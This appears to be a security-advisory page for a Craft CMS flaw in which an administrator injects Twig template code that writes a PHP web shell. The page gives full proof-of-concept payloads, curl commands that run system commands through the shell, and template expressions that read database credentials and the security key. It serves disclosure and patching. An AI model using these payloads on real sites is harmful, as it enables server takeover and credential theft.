NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · Composer (PHP)

CVE-2026-28697: Craft CMS Vulnerable to Authenticated RCE via "craft.app.fs.write()" in Twig Templates

criticalCVSS 4.0 9.4GHSA-v47q-jxvr-p68x

Summary An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.

Published Mar 3, 2026 · Updated Mar 4, 2026

Affected packages

craftcms/cms

Ecosystem
Composer (PHP)
Affected
>= 5.0.0-RC1, < 5.9.0-beta.1
Fixed in
5.9.0-beta.1
Check
composer show craftcms/cms

craftcms/cms

Ecosystem
Composer (PHP)
Affected
>= 4.0.0-RC1, < 4.17.0-beta.1
Fixed in
4.17.0-beta.1
Check
composer show craftcms/cms

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.

---

Proof of Concept

Attack Prerequisites

  • Authenticated administrator account with allowAdminChanges enabled, or access to the System Messages utility

Steps to Reproduce

  1. Navigate to Utilities → System Messages (/admin/utilities/system-messages)
  2. Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):
  3. To exploit it by writing to a file system:
  4. Note: Replace the filesystem handle (e.g., hardDisk) with a valid handle configured in the target installation. ``twig {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }} ``
  5. To exploit it by writing to a volume:
  6. Note: Replace the volume handle (e.g., images) with a valid handle configured in the target installation. ``twig {{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }} ``
  1. Save & go to Settings → Email (/admin/settings/email)
  2. Click "Test" at the bottom of the page to trigger template rendering
  3. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:

Note: The path might be different on your end depending on the filesystem or volume configuration.

	# For Filesystem
	curl "http://target.com/uploads/shell.php?c=id"
	# For Volume
	curl "http://target.com/uploads/images/shell.php?c=id"
	# Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

---

Additional Impact

The same craft.app exposure without any security measures enables additional attack vectors:

Database Credential Disclosure

Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.

{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}

Security Key Disclosure

Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection.

{{ craft.app.config.general.securityKey }}

Recommended Fix

  • Add Twig sandbox rules to block write, writeFileFromStream, deleteFile, and similar destructive methods
  • Consider allowlist approach for craft.app properties accessible in templates rather than exposing the entire application

Resources

https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216

Credited to mHe4am.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More Composer (PHP) vulnerabilities

All Composer (PHP) entries